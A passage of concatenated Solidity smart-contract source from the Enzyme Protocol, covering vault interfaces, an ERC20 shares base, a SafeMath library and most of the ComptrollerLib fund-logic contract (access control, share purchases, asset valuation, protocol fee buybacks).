of the VaultProxy function __setOwner(address _nextOwner) internal { require(_nextOwner != address(0), "__setOwner: _nextOwner cannot be empty"); address prevOwner = owner; require(_nextOwner != prevOwner, "__setOwner: _nextOwner is the current owner"); owner = _nextOwner; emit OwnerSet(prevOwner, _nextOwner); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IExternalPositionVault interface /// @author Enzyme Council <[email protected]> /// Provides an interface to get the externalPositionLib for a given type from the Vault interface IExternalPositionVault { function getExternalPositionLibForType(uint256) external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IFreelyTransferableSharesVault Interface /// @author Enzyme Council <[email protected]> /// @notice Provides the interface for determining whether a vault's shares /// are guaranteed to be freely transferable. /// @dev DO NOT EDIT CONTRACT interface IFreelyTransferableSharesVault { function sharesAreFreelyTransferable() external view returns (bool sharesAreFreelyTransferable_); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IMigratableVault Interface /// @author Enzyme Council <[email protected]> /// @dev DO NOT EDIT CONTRACT interface IMigratableVault { function canMigrate(address _who) external view returns (bool canMigrate_); function init( address _owner, address _accessor, string calldata _fundName ) external; function setAccessor(address _nextAccessor) external; function setVaultLib(address _nextVaultLib) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title ProxiableVaultLib Contract /// @author Enzyme Council <[email protected]> /// @notice A contract that defines the upgrade behavior for VaultLib instances /// @dev The recommended implementation of the target of a proxy according to EIP-1822 and EIP-1967 /// Code position in storage is `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)`, /// which is "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc". abstract contract ProxiableVaultLib { /// @dev Updates the target of the proxy to be the contract at _nextVaultLib function __updateCodeAddress(address _nextVaultLib) internal { require( bytes32(0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5) == ProxiableVaultLib(_nextVaultLib).proxiableUUID(), "__updateCodeAddress: _nextVaultLib not compatible" ); assembly { // solium-disable-line sstore( 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _nextVaultLib ) } } /// @notice Returns a unique bytes32 hash for VaultLib instances /// @return uuid_ The bytes32 hash representing the UUID /// @dev The UUID is `bytes32(keccak256('mln.proxiable.vaultlib'))` function proxiableUUID() public pure returns (bytes32 uuid_) { return 0x027b9570e9fedc1a80b937ae9a06861e5faef3992491af30b684a64b3fbec7a5; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./VaultLibSafeMath.sol"; /// @title StandardERC20 Contract /// @author Enzyme Council <[email protected]> /// @notice Contains the storage, events, and default logic of an ERC20-compliant contract. /// @dev The logic can be overridden by VaultLib implementations. /// Adapted from OpenZeppelin 3.2.0. /// DO NOT EDIT THIS CONTRACT. abstract contract SharesTokenBase { using VaultLibSafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); string internal sharesName; string internal sharesSymbol; uint256 internal sharesTotalSupply; mapping(address => uint256) internal sharesBalances; mapping(address => mapping(address => uint256)) internal sharesAllowances; // EXTERNAL FUNCTIONS /// @dev Standard implementation of ERC20's approve(). Can be overridden. function approve(address _spender, uint256 _amount) public virtual returns (bool) { __approve(msg.sender, _spender, _amount); return true; } /// @dev Standard implementation of ERC20's transfer(). Can be overridden. function transfer(address _recipient, uint256 _amount) public virtual returns (bool) { __transfer(msg.sender, _recipient, _amount); return true; } /// @dev Standard implementation of ERC20's transferFrom(). Can be overridden. function transferFrom( address _sender, address _recipient, uint256 _amount ) public virtual returns (bool) { __transfer(_sender, _recipient, _amount); __approve( _sender, msg.sender, sharesAllowances[_sender][msg.sender].sub( _amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } // EXTERNAL FUNCTIONS - VIEW /// @dev Standard implementation of ERC20's allowance(). Can be overridden. function allowance(address _owner, address _spender) public view virtual returns (uint256) { return sharesAllowances[_owner][_spender]; } /// @dev Standard implementation of ERC20's balanceOf(). Can be overridden. function balanceOf(address _account) public view virtual returns (uint256) { return sharesBalances[_account]; } /// @dev Standard implementation of ERC20's decimals(). Can not be overridden. function decimals() public pure returns (uint8) { return 18; } /// @dev Standard implementation of ERC20's name(). Can be overridden. function name() public view virtual returns (string memory) { return sharesName; } /// @dev Standard implementation of ERC20's symbol(). Can be overridden. function symbol() public view virtual returns (string memory) { return sharesSymbol; } /// @dev Standard implementation of ERC20's totalSupply(). Can be overridden. function totalSupply() public view virtual returns (uint256) { return sharesTotalSupply; } // INTERNAL FUNCTIONS /// @dev Helper for approve(). Can be overridden. function __approve( address _owner, address _spender, uint256 _amount ) internal virtual { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); sharesAllowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } /// @dev Helper to burn tokens from an account. Can be overridden. function __burn(address _account, uint256 _amount) internal virtual { require(_account != address(0), "ERC20: burn from the zero address"); sharesBalances[_account] = sharesBalances[_account].sub( _amount, "ERC20: burn amount exceeds balance" ); sharesTotalSupply = sharesTotalSupply.sub(_amount); emit Transfer(_account, address(0), _amount); } /// @dev Helper to mint tokens to an account. Can be overridden. function __mint(address _account, uint256 _amount) internal virtual { require(_account != address(0), "ERC20: mint to the zero address"); sharesTotalSupply = sharesTotalSupply.add(_amount); sharesBalances[_account] = sharesBalances[_account].add(_amount); emit Transfer(address(0), _account, _amount); } /// @dev Helper to transfer tokens between accounts. Can be overridden. function __transfer( address _sender, address _recipient, uint256 _amount ) internal virtual { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); sharesBalances[_sender] = sharesBalances[_sender].sub( _amount, "ERC20: transfer amount exceeds balance" ); sharesBalances[_recipient] = sharesBalances[_recipient].add(_amount); emit Transfer(_sender, _recipient, _amount); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title VaultLibSafeMath library /// @notice A narrowed, verbatim implementation of OpenZeppelin 3.2.0 SafeMath /// for use with VaultLib /// @dev Preferred to importing from npm to guarantee consistent logic and revert reasons /// between VaultLib implementations /// DO NOT EDIT THIS CONTRACT library VaultLibSafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "VaultLibSafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "VaultLibSafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "VaultLibSafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "VaultLibSafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "VaultLibSafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IFundDeployer Interface /// @author Enzyme Council <[email protected]> interface IFundDeployer { function getOwner() external view returns (address); function hasReconfigurationRequest(address) external view returns (bool); function isAllowedBuySharesOnBehalfCaller(address) external view returns (bool); function isAllowedVaultCall( address, bytes4, bytes32 ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../../../persistent/dispatcher/IDispatcher.sol"; import "../../../../persistent/external-positions/IExternalPosition.sol"; import "../../../extensions/IExtension.sol"; import "../../../extensions/fee-manager/IFeeManager.sol"; import "../../../extensions/policy-manager/IPolicyManager.sol"; import "../../../infrastructure/gas-relayer/GasRelayRecipientMixin.sol"; import "../../../infrastructure/gas-relayer/IGasRelayPaymaster.sol"; import "../../../infrastructure/gas-relayer/IGasRelayPaymasterDepositor.sol"; import "../../../infrastructure/value-interpreter/IValueInterpreter.sol"; import "../../../utils/beacon-proxy/IBeaconProxyFactory.sol"; import "../../../utils/AddressArrayLib.sol"; import "../../fund-deployer/IFundDeployer.sol"; import "../vault/IVault.sol"; import "./IComptroller.sol"; /// @title ComptrollerLib Contract /// @author Enzyme Council <[email protected]> /// @notice The core logic library shared by all funds contract ComptrollerLib is IComptroller, IGasRelayPaymasterDepositor, GasRelayRecipientMixin { using AddressArrayLib for address[]; using SafeMath for uint256; using SafeERC20 for ERC20; event AutoProtocolFeeSharesBuybackSet(bool autoProtocolFeeSharesBuyback); event BuyBackMaxProtocolFeeSharesFailed( bytes indexed failureReturnData, uint256 sharesAmount, uint256 buybackValueInMln, uint256 gav ); event DeactivateFeeManagerFailed(); event GasRelayPaymasterSet(address gasRelayPaymaster); event MigratedSharesDuePaid(uint256 sharesDue); event PayProtocolFeeDuringDestructFailed(); event PreRedeemSharesHookFailed( bytes indexed failureReturnData, address indexed redeemer, uint256 sharesAmount ); event RedeemSharesInKindCalcGavFailed(); event SharesBought( address indexed buyer, uint256 investmentAmount, uint256 sharesIssued, uint256 sharesReceived ); event SharesRedeemed( address indexed redeemer, address indexed recipient, uint256 sharesAmount, address[] receivedAssets, uint256[] receivedAssetAmounts ); event VaultProxySet(address vaultProxy); // Constants and immutables - shared by all proxies uint256 private constant ONE_HUNDRED_PERCENT = 10000; uint256 private constant SHARES_UNIT = 10**18; address private constant SPECIFIC_ASSET_REDEMPTION_DUMMY_FORFEIT_ADDRESS = 0x000000000000000000000000000000000000aaaa; address private immutable DISPATCHER; address private immutable EXTERNAL_POSITION_MANAGER; address private immutable FUND_DEPLOYER; address private immutable FEE_MANAGER; address private immutable INTEGRATION_MANAGER; address private immutable MLN_TOKEN; address private immutable POLICY_MANAGER; address private immutable PROTOCOL_FEE_RESERVE; address private immutable VALUE_INTERPRETER; address private immutable WETH_TOKEN; // Pseudo-constants (can only be set once) address internal denominationAsset; address internal vaultProxy; // True only for the one non-proxy bool internal isLib; // Storage // Attempts to buy back protocol fee shares immediately after collection bool internal autoProtocolFeeSharesBuyback; // A reverse-mutex, granting atomic permission for particular contracts to make vault calls bool internal permissionedVaultActionAllowed; // A mutex to protect against reentrancy bool internal reentranceLocked; // A timelock after the last time shares were bought for an account // that must expire before that account transfers or redeems their shares uint256 internal sharesActionTimelock; mapping(address => uint256) internal acctToLastSharesBoughtTimestamp; // The contract which manages paying gas relayers address private gasRelayPaymaster; /////////////// // MODIFIERS // /////////////// modifier allowsPermissionedVaultAction { __assertPermissionedVaultActionNotAllowed(); permissionedVaultActionAllowed = true; _; permissionedVaultActionAllowed = false; } modifier locksReentrance() { __assertNotReentranceLocked(); reentranceLocked = true; _; reentranceLocked = false; } modifier onlyFundDeployer() { __assertIsFundDeployer(); _; } modifier onlyGasRelayPaymaster() { __assertIsGasRelayPaymaster(); _; } modifier onlyOwner() { __assertIsOwner(__msgSender()); _; } modifier onlyOwnerNotRelayable() { __assertIsOwner(msg.sender); _; } // ASSERTION HELPERS // Modifiers are inefficient in terms of contract size, // so we use helper functions to prevent repetitive inlining of expensive string values. function __assertIsFundDeployer() private view { require(msg.sender == getFundDeployer(), "Only FundDeployer callable"); } function __assertIsGasRelayPaymaster() private view { require(msg.sender == getGasRelayPaymaster(), "Only Gas Relay Paymaster callable"); } function __assertIsOwner(address _who) private view { require(_who == IVault(getVaultProxy()).getOwner(), "Only fund owner callable"); } function __assertNotReentranceLocked() private view { require(!reentranceLocked, "Re-entrance"); } function __assertPermissionedVaultActionNotAllowed() private view { require(!permissionedVaultActionAllowed, "Vault action re-entrance"); } function __assertSharesActionNotTimelocked(address _vaultProxy, address _account) private view { uint256 lastSharesBoughtTimestamp = getLastSharesBoughtTimestampForAccount(_account); require( lastSharesBoughtTimestamp == 0 || block.timestamp.sub(lastSharesBoughtTimestamp) >= getSharesActionTimelock() || __hasPendingMigrationOrReconfiguration(_vaultProxy), "Shares action timelocked" ); } constructor( address _dispatcher, address _protocolFeeReserve, address _fundDeployer, address _valueInterpreter, address _externalPositionManager, address _feeManager, address _integrationManager, address _policyManager, address _gasRelayPaymasterFactory, address _mlnToken, address _wethToken ) public GasRelayRecipientMixin(_gasRelayPaymasterFactory) { DISPATCHER = _dispatcher; EXTERNAL_POSITION_MANAGER = _externalPositionManager; FEE_MANAGER = _feeManager; FUND_DEPLOYER = _fundDeployer; INTEGRATION_MANAGER = _integrationManager; MLN_TOKEN = _mlnToken; POLICY_MANAGER = _policyManager; PROTOCOL_FEE_RESERVE = _protocolFeeReserve; VALUE_INTERPRETER = _valueInterpreter; WETH_TOKEN = _wethToken; isLib = true; } ///////////// // GENERAL // ///////////// /// @notice Calls a specified action on an Extension /// @param _extension The Extension contract to call (e.g., FeeManager) /// @param _actionId An ID representing the action to take on the extension (see extension) /// @param _callArgs The encoded data for the call /// @dev Used to route arbitrary calls, so that msg.sender is the ComptrollerProxy /// (for access control). Uses a mutex of sorts that allows "permissioned vault actions" /// during calls originating from this function. function callOnExtension( address _extension, uint256 _actionId, bytes calldata _callArgs ) external override locksReentrance allowsPermissionedVaultAction { require( _extension == getFeeManager() || _extension == getIntegrationManager() || _extension == getExternalPositionManager(), "callOnExtension: _extension invalid" ); IExtension(_extension).receiveCallFromComptroller(__msgSender(), _actionId, _callArgs); } /// @notice Makes an arbitrary call with the VaultProxy contract as the sender /// @param _contract The contract to call /// @param _selector The selector to call /// @param _encodedArgs The encoded arguments for the call /// @return returnData_ The data returned by the call function vaultCallOnContract( address _contract, bytes4 _selector, bytes calldata _encodedArgs ) external onlyOwner returns (bytes memory returnData_) { require( IFundDeployer(getFundDeployer()).isAllowedVaultCall( _contract, _selector, keccak256(_encodedArgs) ), "vaultCallOnContract: Not allowed" ); return IVault(getVaultProxy()).callOnContract( _contract, abi.encodePacked(_selector, _encodedArgs) ); } /// @dev Helper to check if a VaultProxy has a pending migration or reconfiguration request function __hasPendingMigrationOrReconfiguration(address _vaultProxy) private view returns (bool hasPendingMigrationOrReconfiguration) { return IDispatcher(getDispatcher()).hasMigrationRequest(_vaultProxy) || IFundDeployer(getFundDeployer()).hasReconfigurationRequest(_vaultProxy); } ////////////////// // PROTOCOL FEE // ////////////////// /// @notice Buys back shares collected as protocol fee at a discounted shares price, using MLN /// @param _sharesAmount The amount of shares to buy back function buyBackProtocolFeeShares(uint256 _sharesAmount) external { address vaultProxyCopy = vaultProxy; require( IVault(vaultProxyCopy).canManageAssets(__msgSender()), "buyBackProtocolFeeShares: Unauthorized" ); uint256 gav = calcGav(); IVault(vaultProxyCopy).buyBackProtocolFeeShares( _sharesAmount, __getBuybackValueInMln(vaultProxyCopy, _sharesAmount, gav), gav ); } /// @notice Sets whether to attempt to buyback protocol fee shares immediately when collected /// @param _nextAutoProtocolFeeSharesBuyback True if protocol fee shares should be attempted /// to be bought back immediately when collected function setAutoProtocolFeeSharesBuyback(bool _nextAutoProtocolFeeSharesBuyback) external onlyOwner { autoProtocolFeeSharesBuyback = _nextAutoProtocolFeeSharesBuyback; emit AutoProtocolFeeSharesBuybackSet(_nextAutoProtocolFeeSharesBuyback); } /// @dev Helper to buyback the max available protocol fee shares, during an auto-buyback function __buyBackMaxProtocolFeeShares(address _vaultProxy, uint256 _gav) private { uint256 sharesAmount = ERC20(_vaultProxy).balanceOf(getProtocolFeeReserve()); uint256 buybackValueInMln = __getBuybackValueInMln(_vaultProxy, sharesAmount, _gav); try IVault(_vaultProxy).buyBackProtocolFeeShares(sharesAmount, buybackValueInMln, _gav) {} catch (bytes memory reason) { emit BuyBackMaxProtocolFeeSharesFailed(reason, sharesAmount, buybackValueInMln, _gav); } } /// @dev Helper to buyback the max available protocol fee shares function __getBuybackValueInMln( address _vaultProxy, uint256 _sharesAmount, uint256 _gav ) private returns (uint256 buybackValueInMln_) { address denominationAssetCopy = getDenominationAsset(); uint256 grossShareValue = __calcGrossShareValue( _gav, ERC20(_vaultProxy).totalSupply(), 10**uint256(ERC20(denominationAssetCopy).decimals()) ); uint256 buybackValueInDenominationAsset = grossShareValue.mul(_sharesAmount).div( SHARES_UNIT ); return IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue( denominationAssetCopy, buybackValueInDenominationAsset, getMlnToken() ); } //////////////////////////////// // PERMISSIONED VAULT ACTIONS // //////////////////////////////// /// @notice Makes a permissioned, state-changing call on the VaultProxy contract /// @param _action The enum representing the VaultAction to perform on the VaultProxy /// @param _actionData The call data for the action to perform function permissionedVaultAction(IVault.VaultAction _action, bytes calldata _actionData) external override { __assertPermissionedVaultAction(msg.sender, _action); // Validate action as needed if (_action == IVault.VaultAction.RemoveTrackedAsset) { require( abi.decode(_actionData, (address)) != getDenominationAsset(), "permissionedVaultAction: Cannot untrack denomination asset" ); } IVault(getVaultProxy()).receiveValidatedVaultAction(_action, _actionData); } /// @dev Helper to assert that a caller is allowed to perform a particular VaultAction. /// Uses this pattern rather than multiple `require` statements to save on contract size. function __assertPermissionedVaultAction(address _caller, IVault.VaultAction _action) private view { bool validAction; if (permissionedVaultActionAllowed) { // Calls are roughly ordered by likely frequency if (_caller == getIntegrationManager()) { if ( _action == IVault.VaultAction.AddTrackedAsset || _action == IVault.VaultAction.RemoveTrackedAsset || _action == IVault.VaultAction.WithdrawAssetTo || _action == IVault.VaultAction.ApproveAssetSpender ) { validAction = true; } } else if (_caller == getFeeManager()) { if ( _action == IVault.VaultAction.MintShares || _action == IVault.VaultAction.BurnShares || _action == IVault.VaultAction.TransferShares ) { validAction = true; } } else if (_caller == getExternalPositionManager()) { if ( _action == IVault.VaultAction.CallOnExternalPosition || _action == IVault.VaultAction.AddExternalPosition || _action == IVault.VaultAction.RemoveExternalPosition ) { validAction = true; } } } require(validAction, "__assertPermissionedVaultAction: Action not allowed"); } /////////////// // LIFECYCLE // /////////////// // Ordered by execution in the lifecycle /// @notice Initializes a fund with its core config /// @param _denominationAsset The asset in which the fund's value should be denominated /// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions" /// (buying or selling shares) by the same user /// @dev Pseudo-constructor per proxy. /// No need to assert access because this is called atomically on deployment, /// and once it's called, it cannot be called again. function init(address _denominationAsset, uint256 _sharesActionTimelock) external override { require(getDenominationAsset() == address(0), "init: Already initialized"); require( IValueInterpreter(getValueInterpreter()).isSupportedPrimitiveAsset(_denominationAsset), "init: Bad denomination asset" ); denominationAsset = _denominationAsset; sharesActionTimelock = _sharesActionTimelock; } /// @notice Sets the VaultProxy /// @param _vaultProxy The VaultProxy contract /// @dev No need to assert anything beyond FundDeployer access. /// Called atomically with init(), but after ComptrollerProxy has been deployed. function setVaultProxy(address _vaultProxy) external override onlyFundDeployer { vaultProxy = _vaultProxy; emit VaultProxySet(_vaultProxy); } /// @notice Runs atomic logic after a ComptrollerProxy has become its vaultProxy's `accessor` /// @param _isMigration True if a migrated fund is being activated /// @dev No need to assert anything beyond FundDeployer access. function activate(bool _isMigration) external override onlyFundDeployer { address vaultProxyCopy = getVaultProxy(); if (_isMigration) { // Distribute any shares in the VaultProxy to the fund owner. // This is a mechanism to ensure that even in the edge case of a fund being unable // to payout fee shares owed during migration, these shares are not lost. uint256 sharesDue = ERC20(vaultProxyCopy).balanceOf(vaultProxyCopy); if (sharesDue > 0) { IVault(vaultProxyCopy).transferShares( vaultProxyCopy, IVault(vaultProxyCopy).getOwner(), sharesDue ); emit MigratedSharesDuePaid(sharesDue); } } IVault(vaultProxyCopy).addTrackedAsset(getDenominationAsset()); // Activate extensions IExtension(getFeeManager()).activateForFund(_isMigration); IExtension(getPolicyManager()).activateForFund(_isMigration); } /// @notice Wind down and destroy a ComptrollerProxy that is active /// @param _deactivateFeeManagerGasLimit The amount of gas to forward to deactivate the FeeManager /// @param _payProtocolFeeGasLimit The amount of gas to forward to pay the protocol fee /// @dev No need to assert anything beyond FundDeployer access. /// Uses the try/catch pattern throughout out of an abundance of caution for the function's success. /// All external calls must use limited forwarded gas to ensure that a migration to another release /// does not get bricked by logic that consumes too much gas for the block limit. function destructActivated( uint256 _deactivateFeeManagerGasLimit, uint256 _payProtocolFeeGasLimit ) external override onlyFundDeployer allowsPermissionedVaultAction { // Forwarding limited gas here also protects fee recipients by guaranteeing that fee payout logic // will run in the next function call try IVault(getVaultProxy()).payProtocolFee{gas: _payProtocolFeeGasLimit}() {} catch { emit PayProtocolFeeDuringDestructFailed(); } // Do not attempt to auto-buyback protocol fee shares in this case, // as the call is gav-dependent and can consume too much gas // Deactivate extensions only as-necessary // Pays out shares outstanding for fees try IExtension(getFeeManager()).deactivateForFund{gas: _deactivateFeeManagerGasLimit}() {} catch { emit DeactivateFeeManagerFailed(); } __selfDestruct(); } /// @notice Destroy a ComptrollerProxy that has not been activated function destructUnactivated() external override onlyFundDeployer { __selfDestruct(); } /// @dev Helper to self-destruct the contract. /// There should never be ETH in the ComptrollerLib, /// so no need to waste gas to get the fund owner function __selfDestruct() private { // Not necessary, but failsafe to protect the lib against selfdestruct require(!isLib, "__selfDestruct: Only delegate callable"); selfdestruct(payable(address(this))); } //////////////// // ACCOUNTING // //////////////// /// @notice Calculates the gross asset value (GAV) of the fund /// @return gav_ The fund GAV function calcGav() public override returns (uint256 gav_) { address vaultProxyAddress = getVaultProxy(); address[] memory assets = IVault(vaultProxyAddress).getTrackedAssets(); address[] memory externalPositions = IVault(vaultProxyAddress) .getActiveExternalPositions(); if (assets.length == 0 && externalPositions.length == 0) { return 0; } uint256[] memory balances = new uint256[](assets.length); for (uint256 i; i < assets.length; i++) { balances[i] = ERC20(assets[i]).balanceOf(vaultProxyAddress); } gav_ = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue( assets, balances, getDenominationAsset() ); if (externalPositions.length > 0) { for (uint256 i; i < externalPositions.length; i++) { uint256 externalPositionValue = __calcExternalPositionValue(externalPositions[i]); gav_ = gav_.add(externalPositionValue); } } return gav_; } /// @notice Calculates the gross value of 1 unit of shares in the fund's denomination asset /// @return grossShareValue_ The amount of the denomination asset per share /// @dev Does not account for any fees outstanding. function calcGrossShareValue() external override returns (uint256 grossShareValue_) { uint256 gav = calcGav(); grossShareValue_ = __calcGrossShareValue( gav, ERC20(getVaultProxy()).totalSupply(), 10**uint256(ERC20(getDenominationAsset()).decimals()) ); return grossShareValue_; } // @dev Helper for calculating a external position value. Prevents from stack too deep function __calcExternalPositionValue(address _externalPosition) private returns (uint256 value_) { (address[] memory managedAssets, uint256[] memory managedAmounts) = IExternalPosition( _externalPosition ) .getManagedAssets(); uint256 managedValue = IValueInterpreter(getValueInterpreter()) .calcCanonicalAssetsTotalValue(managedAssets, managedAmounts, getDenominationAsset()); (address[] memory debtAssets, uint256[] memory debtAmounts) = IExternalPosition( _externalPosition ) .getDebtAssets(); uint256 debtValue = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue( debtAssets, debtAmounts, getDenominationAsset() ); if (managedValue > debtValue) { value_ = managedValue.sub(debtValue); } return value_; } /// @dev Helper for calculating the gross share value function __calcGrossShareValue( uint256 _gav, uint256 _sharesSupply, uint256 _denominationAssetUnit ) private pure returns (uint256 grossShareValue_) { if (_sharesSupply == 0) { return _denominationAssetUnit; } return _gav.mul(SHARES_UNIT).div(_sharesSupply); } /////////////////// // PARTICIPATION // /////////////////// // BUY SHARES /// @notice Buys shares on behalf of another user /// @param _buyer The account on behalf of whom to buy shares /// @param _investmentAmount The amount of the fund's denomination asset with which to buy shares /// @param _minSharesQuantity The minimum quantity of shares to buy /// @return sharesReceived_ The actual amount of shares received /// @dev This function is freely callable if there is no sharesActionTimelock set, but it is /// limited to a list of trusted callers otherwise, in order to prevent a griefing attack /// where the caller buys shares for a _buyer, thereby resetting their lastSharesBought value. function buySharesOnBehalf( address _buyer, uint256 _investmentAmount, uint256 _minSharesQuantity ) external returns (uint256 sharesReceived_) { bool hasSharesActionTimelock = getSharesActionTimelock() > 0; address canonicalSender = __msgSender(); require( !hasSharesActionTimelock || IFundDeployer(getFundDeployer()).isAllowedBuySharesOnBehalfCaller(canonicalSender), "buySharesOnBehalf: Unauthorized" ); return __buyShares( _buyer, _investmentAmount, _minSharesQuantity, hasSharesActionTimelock, canonicalSender ); } /// @notice Buys shares /// @param _investmentAmount The amount of the fund's denomination asset /// with which to buy shares /// @param _minSharesQuantity The minimum quantity of shares to buy /// @return sharesReceived_ The actual amount of shares received function buyShares(uint256 _investmentAmount, uint256 _minSharesQuantity) external returns (uint256 sharesReceived_) { bool hasSharesActionTimelock = getSharesActionTimelock() > 0; address canonicalSender = __msgSender(); return __buyShares( canonicalSender, _investmentAmount, _minSharesQuantity, hasSharesActionTimelock, canonicalSender ); } /// @dev Helper for buy shares logic function __buyShares( address _buyer, uint256 _investmentAmount, uint256 _minSharesQuantity, bool _hasSharesActionTimelock, address _canonicalSender ) private locksReentrance allowsPermissionedVaultAction returns (uint256 sharesReceived_) { // Enforcing a _minSharesQuantity also validates `_investmentAmount > 0` // and guarantees the function cannot succeed while minting 0 shares require(_minSharesQuantity > 0, "__buyShares: _minSharesQuantity must be >0"); address vaultProxyCopy = getVaultProxy(); require( !_hasSharesActionTimelock || !__hasPendingMigrationOrReconfiguration(vaultProxyCopy), "__buyShares: Pending migration or reconfiguration" ); uint256 gav = calcGav(); // Gives Extensions a chance to run logic prior to the minting of bought shares. // Fees implementing this hook should be aware that // it might be the case that _investmentAmount != actualInvestmentAmount, // if the denomination asset charges a transfer fee, for example. __preBuySharesHook(_buyer, _investmentAmount, gav); // Pay the protocol fee after running other fees, but before minting new shares IVault(vaultProxyCopy).payProtocolFee(); if (doesAutoProtocolFeeSharesBuyback()) { __buyBackMaxProtocolFeeShares(vaultProxyCopy, gav); } // Transfer the investment asset to the fund. // Does not follow the checks-effects-interactions pattern, but it is necessary to // do this delta balance calculation before calculating shares to mint. uint256 receivedInvestmentAmount = __transferFromWithReceivedAmount( getDenominationAsset(), _canonicalSender, vaultProxyCopy, _investmentAmount ); // Calculate the amount of shares to issue with the investment amount uint256 sharePrice = __calcGrossShareValue( gav, ERC20(vaultProxyCopy).totalSupply(), 10**uint256(ERC20(getDenominationAsset()).decimals()) ); uint256 sharesIssued = receivedInvestmentAmount.mul(SHARES_UNIT).div(sharePrice); // Mint shares to the buyer uint256 prevBuyerShares = ERC20(vaultProxyCopy).balanceOf(_buyer); IVault(vaultProxyCopy).mintShares(_buyer, sharesIssued); // Gives Extensions a chance to run logic after shares are issued __postBuySharesHook(_buyer, receivedInvestmentAmount, sharesIssued, gav); // The number of actual shares received may differ from shares issued due to // how the PostBuyShares hooks are invoked by Extensions (i.e., fees) sharesReceived_ = ERC20(vaultProxyCopy).balanceOf(_buyer).sub(prevBuyerShares); require( sharesReceived_ >= _minSharesQuantity, "__buyShares: Shares received < _minSharesQuantity" ); if (_hasSharesActionTimelock) { acctToLastSharesBoughtTimestamp[_buyer] = block.timestamp; } emit SharesBought(_buyer, receivedInvestmentAmount, sharesIssued, sharesReceived_); return sharesReceived_; } /// @dev Helper for Extension actions immediately prior to issuing shares function __preBuySharesHook( address _buyer, uint256 _investmentAmount, uint256 _gav ) private { IFeeManager(getFeeManager()).invokeHook( IFeeManager.FeeHook.PreBuyShares, abi.encode(_buyer, _investmentAmount), _gav ); } /// @dev Helper for Extension actions immediately after issuing shares. /// This could be cleaned up so both Extensions take the same encoded args and handle GAV /// in the same way, but there is not the obvious need for gas savings of recycling /// the GAV value for the current policies as there is for the fees. function __postBuySharesHook( address _buyer, uint256 _investmentAmount, uint256 _sharesIssued, uint256 _preBuySharesGav ) private { uint256 gav = _preBuySharesGav.add(_investmentAmount); IFeeManager(getFeeManager()).invokeHook( IFeeManager.FeeHook.PostBuyShares, abi.encode(_buyer, _investmentAmount, _sharesIssued), gav ); IPolicyManager(getPolicyManager()).validatePolicies( address(this), IPolicyManager.PolicyHook.PostBuyShares, abi.encode(_buyer, _investmentAmount, _sharesIssued, gav) ); } /// @dev Helper to execute ERC20.transferFrom() while calculating the actual amount received function __transferFromWithReceivedAmount( address _asset, address _sender, address _recipient, uint256 _transferAmount ) private returns (uint256 receivedAmount_) { uint256 preTransferRecipientBalance = ERC20(_asset).balanceOf(_recipient); ERC20(_asset).safeTransferFrom(_sender, _recipient, _transferAmount); return ERC20(_asset).balanceOf(_recipient).sub(preTransferRecipientBalance); } // REDEEM SHARES /// @notice Redeems a specified amount of the sender's shares for specified asset proportions /// @param _recipient 